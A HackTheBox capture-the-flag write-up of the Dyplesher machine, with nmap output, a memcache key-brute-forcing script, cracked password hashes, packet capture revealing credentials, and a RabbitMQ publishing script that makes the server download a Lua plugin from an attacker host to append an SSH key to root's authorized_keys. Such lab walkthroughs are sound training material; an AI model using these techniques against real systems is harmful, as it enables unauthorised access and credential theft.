HackTheBox - Dyplesher

Summary

Dyplesher, a Linux machine created by HackTheBox felamos & yuntao, was an overall insane difficulty box. The inital foothold was finding the .git folder on test.dyplesher.htb which give us the credentials for the memcache server trying rockyou we can leak few hashes from the memcache and we can crack one of that.Using the password we got from the memcache we can login to the gogs as felamos from which we see a gitlab mirror/backup. We see a repo.zip folder on the release page of the repository. After downloading that we see that is a git-bundle. After googling around i saw how unbundle that and get some information. from the repository we got we find a sqlite db looking into that we get another hash and Cracking that give another password. Trying that on the web server we are able to login and we see that we can upload Minecraft plugin. creating a plugin which write to user .ssh/authorized_keys and we can ssh to the user as MinatoTW. After getting a shell we still don’t find user.txt but checking the groups we see this user is a member of wireshark group. so i used dumpcap to capture some packets and sent that to local machine for analyses. which reveal some rabbitMQ messages containing all users password and rabbitMQ password for yunato. Su-ing to user felamos we see an interesting message which states yunato can publish message to plugin_data with an URL of cuberite plugin. so we create a bogus plugin to write to root authorized_keys and ssh-ing using that.

Enumeration

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# Nmap 7.80 scan initiated Sun May 24 00:59:44 2020 as: nmap -sC -sV -oN nmap/dyplesher 10.10.10.190
Nmap scan report for test.dyplesher.htb (10.10.10.190)
Host is up (0.35s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:ca:81:78:ec:27:8f:50:60:db:79:cf:97:f7:05:c0 (RSA)
| 256 e0:d7:c7:9f:f2:7f:64:0d:40:29:18:e1:a1:a0:37:5e (ECDSA)
|_ 256 9f:b2:4c:5c:de:44:09:14:ce:4f:57:62:0b:f9:71:81 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.10.10.190:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
|_ http://localhost:3000/felamos/memcached.git
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gogs=fcabdf9be48c2301; Path=/; HttpOnly
| Set-Cookie: _csrf=U4cL_eEiLyi0YwtWaBvma4Z_sEU6MTU5MDI2MjIyODkzODM5Mzk1Mg%3D%3D; Path=/; Expires=Sun, 24 May 2020 19:30:28 GMT; HttpOnly
| Date: Sat, 23 May 2020 19:30:28 GMT
| <!DOCTYPE html>
| <html>
| <head data-suburl="">
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
| <meta name="author" content="Gogs" />
| <meta name="description" content="Gogs is a painless self-hosted Git service" />
| <meta name="keywords" content="go, git, self-hosted, gogs">
| <meta name="referrer" content="no-referrer" />
| <meta name="_csrf" content="U4cL_eEiLyi0YwtWaBvma4Z_sEU6MTU5MDI2MjIyODkzODM5Mzk1Mg==" />
| <meta name="_suburl" content="" />
| <meta proper
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gogs=9772605cc0de9578; Path=/; HttpOnly
| Set-Cookie: _csrf=EegCp8gnCuuySMZtyGN1O3MdKTE6MTU5MDI2MjIzNjI3NTc2ODU1Nw%3D%3D; Path=/; Expires=Sun, 24 May 2020 19:30:36 GMT; HttpOnly
| Date: Sat, 23 May 2020 19:30:36 GMT
| <!DOCTYPE html>
| <html>
| <head data-suburl="">
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
| <meta name="author" content="Gogs" />
| <meta name="description" content="Gogs is a painless self-hosted Git service" />
| <meta name="keywords" content="go, git, self-hosted, gogs">
| <meta name="referrer" content="no-referrer" />
| <meta name="_csrf" content="EegCp8gnCuuySMZtyGN1O3MdKTE6MTU5MDI2MjIzNjI3NTc2ODU1Nw==" />
| <meta name="_suburl" content="" />
|_ <meta
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=5/24%Time=5EC979D6%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2063,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;
SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=fcabdf9be48c2301;\
SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=U4cL_eEiLyi0YwtWaBvma4Z_
SF:sEU6MTU5MDI2MjIyODkzODM5Mzk1Mg%3D%3D;\x20Path=/;\x20Expires=Sun,\x2024\
SF:x20May\x202020\x2019:30:28\x20GMT;\x20HttpOnly\r\nDate:\x20Sat,\x2023\x
SF:20May\x202020\x2019:30:28\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<he
SF:ad\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20cont
SF:ent=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-UA
SF:-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author\
SF:"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20conte
SF:nt=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x20
SF:/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-hos
SF:ted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-refer
SF:rer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"U4cL_eEiLyi0YwtWaBv
SF:ma4Z_sEU6MTU5MDI2MjIyODkzODM5Mzk1Mg==\"\x20/>\n\t<meta\x20name=\"_subur
SF:l\"\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta\x20proper")%r(Help,67,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(
SF:HTTPOptions,189F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x20
SF:text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x2
SF:0Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=9772605cc0de9578;\x20
SF:Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=EegCp8gnCuuySMZtyGN1O3MdKTE
SF:6MTU5MDI2MjIzNjI3NTc2ODU1Nw%3D%3D;\x20Path=/;\x20Expires=Sun,\x2024\x20
SF:May\x202020\x2019:30:36\x20GMT;\x20HttpOnly\r\nDate:\x20Sat,\x2023\x20M
SF:ay\x202020\x2019:30:36\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head\
SF:x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20content
SF:=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-UA-Co
SF:mpatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author\"\x
SF:20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20content=
SF:\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x20/>\
SF:n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-hosted
SF:,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-referrer
SF:\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"EegCp8gnCuuySMZtyGN1O3
SF:MdKTE6MTU5MDI2MjIzNjI3NTc2ODU1Nw==\"\x20/>\n\t<meta\x20name=\"_suburl\"
SF:\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 24 01:02:23 2020 -- 1 IP address (1 host up) scanned in 159.27 seconds

nmap all
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.80 scan initiated Sun May 24 01:07:11 2020 as: nmap -p- -oN nmap/all 10.10.10.190
Nmap scan report for test.dyplesher.htb (10.10.10.190)
Host is up (0.26s latency).
Scanned at 2020-05-24 01:07:11 IST for 6056s
Not shown: 65525 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
4369/tcp open epmd
5672/tcp open amqp
11211/tcp open memcache
25562/tcp open unknown
25565/tcp open minecraft
25572/tcp closed unknown
25672/tcp open unknown

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun May 24 02:48:07 2020 -- 1 IP address (1 host up) scanned in 6056.07 seconds

Web - 80

Visiting that reveal we have a subdomain as test.dyplesher.htb

test.dyplesher.htb

Visiting this shows us this is something to do with memcache and it give us access to write to memcache
via

1
http://test.dyplesher.htb/?add=a&val=b

also when sending same key and value we are also getting

1
its equal

dyplesher.htb - 3000

Visiting Port 3000 reveals that it is a gogs server

I created an account and found three emails

1
2
3
felamos@dyplesher.htb
minatotw@dyplesher.htb
yuntao@dyplesher.htb

Running gobuster on test domain

1
gobuster dir  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u http://test.dyplesher.htb/  -o test.gobust

and using gitdumper

1
python3 /opt/git-dumper/git-dumper.py http://test.dyplesher.htb .

in which we find a credentials for memcache

1
$m->setSaslAuthData("felamos", "zxcvbnm");

So I wrote a simple script to dump stuff from memcache

1
2
3
4
5
6
7
8
9
10
11
12
13
import bmemcached
client = bmemcached.Client(('10.10.10.190:11211', ), 'felamos', 'zxcvbnm')
fp = open('/usr/share/wordlists/rockyou.txt','r')
line = fp.readline().strip()
while line:
print(f"Trying for key {line}")
response = client.get(line)
if response:
print(f"Got Value for {line} as {response}")
break
line = fp.readline().strip()

fp.close()

Which give us a password key with three hashes

1
2
3
$2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK

only one of which is crackable as mommy1

using that on gogs get us access to felamos account

Dumping the repo.zip from release we see that it is a git bundle. googling around i found a article which explains how to restore them.

so doing

1
2
git clone --mirror ./path/*.bundle f
mkdir out;cd f; git archive master | cd (../out && tar x)

doing this for all the bundles we found that bundle 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce contain a sqlite db as user.db which contain a password hash as

1
$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6
1
2
3
4
5
6
7
8
9
10
john --wordlist=/usr/share/wordlists/rockyou.txt sql-pass
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexis1 (?)
1g 0:00:00:07 DONE (2020-05-26 12:48) 0.1373g/s 222.5p/s 222.5c/s 222.5C/s alexis1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Cracking the password with john we get the password as alexis1 trying that with email felamos@dyplesher.htb we can login to the home for root domain

we are bought to a dashboard

Trying the upload feature and uploading just a random stuff we see we need to upload a valid minecraft plugin

Low Privilege Shell

Minecraft plugin

Whenever a plugin is loaded on minecraft a onEnable() method is called so googling around i used few tutorials to create a plugin and created a plugin which on load write to MinatoTW authorized_keys

build it as a jar and upload it

after uploading that we can load our plugin using the reload feature of the page

and using the private key we can ssh to the box as MinatoTW.


NOTE
I had tried with all the three username we had felmos,MinatoTW and yunato. And was successful with MinatoTW.

Issue

I faced an issue while doing this was in my plugin.yml instead of using class name i was just passing the package name
as

1
2
3
4
5
main: com.f3v3r
name: f3v3r
version: 1.0
author: f3v3r
description: An Example plugin

instead of

1
2
3
4
5
main: com.f3v3r.main
name: f3v3r
version: 1.0
author: f3v3r
description: An Example plugin

which got me stuck for sometime

User

Capture some packet

As we see that we are in wireshark group we can use dumpcap to capture packets

1
dumpcap -i l0 -a duration:60 -w output.pcapng

Analysing the packets

I initially used strings and grep to look for any password which gave me what i want but also checked that entire package in wireshark

1
strings dump.pcap | grep password

which give us some interesting credentials as

1
2
3
q{"name":"MinatoTW","email":"MinatoTW@dyplesher.htb","address":"India","password":"bihys1amFov","subscribed":true}
l{"name":"yuntao","email":"yuntao@dyplesher.htb","address":"Italy","password":"wagthAw4ob","subscribed":true}
p{"name":"felamos","email":"felamos@dyplesher.htb","address":"India","password":"tieb0graQueg","subscribed":true}

using these credentials we can try to su to felamos with password as tieb0graQueg we can get user.txt

1
2
3
4
felamos@dyplesher:~$ whoami;hostname;cut -c 1-15 user.txt
felamos
dyplesher
f76ea85df4c82e2

Privilege Escalation

looking around we find a yunato folder which contain

1
echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' >  /dev/pts/{}

indicating we need to something with rabbitMQ to get root maybe

going back to wireshark to look at the dump we see

that the publisher port is 5672

1
Just send url to download plugins and our new code will review it and working plugins will be added to the server

from the message made me think about what i can do with that so

Lets also look into how to create a cuberite plugin

so creating a plugin.lua
which contain

1
echo 'my public key' >> /root/.ssh/authorized_keys

and serving it on port 80

and a python script to publish to plugin_data using reference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
import pika

connection = pika.BlockingConnection(
pika.ConnectionParameters(
'127.0.0.1',
5672,
credentials=pika.PlainCredentials('yuntao', 'wagthAw4ob')
)
)

channel = connection.channel()
channel.basic_publish(
exchange='plugin_data',
routing_key='',
body='http://10.10.X.X/plugin.lua'
)
connection.close()

but we don’t get anything on out http server
checking the wireshark again we see that the yuntao rabbitMQ password was EashAnicOc3Op and not wagthAw4ob fixing that in code and trying again we still don’t get anything

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
import pika

connection = pika.BlockingConnection(
pika.ConnectionParameters(
'127.0.0.1',
5672,
credentials=pika.PlainCredentials('yuntao', 'EashAnicOc3Op')
)
)

channel = connection.channel()
channel.basic_publish(
exchange='plugin_data',
routing_key='',
body='http://10.10.X.X/plugin.lua'
)
connection.close()

so i tried curling that file from the box and saw i was not allowed to do that.

I tried the open ports on the box from nmap and i tried with all those ports and saw only 11211 was allowed so i changed and ran my python server on port 11211 and modified the script to take the lua script from 11211 and running the script and waiting for few seconds we get the connection back on 11211 and using the private key we can access get root.txt

1
2
3
4
5
root@dyplesher:~# whoami;hostname;cut -c 1-15 root.txt
root
dyplesher
ddb6c3d2a2d01c4
root@dyplesher:~#

and we have pwned Dyplesher 💃

Extra:

Script to get root: script

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/dyplesher/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.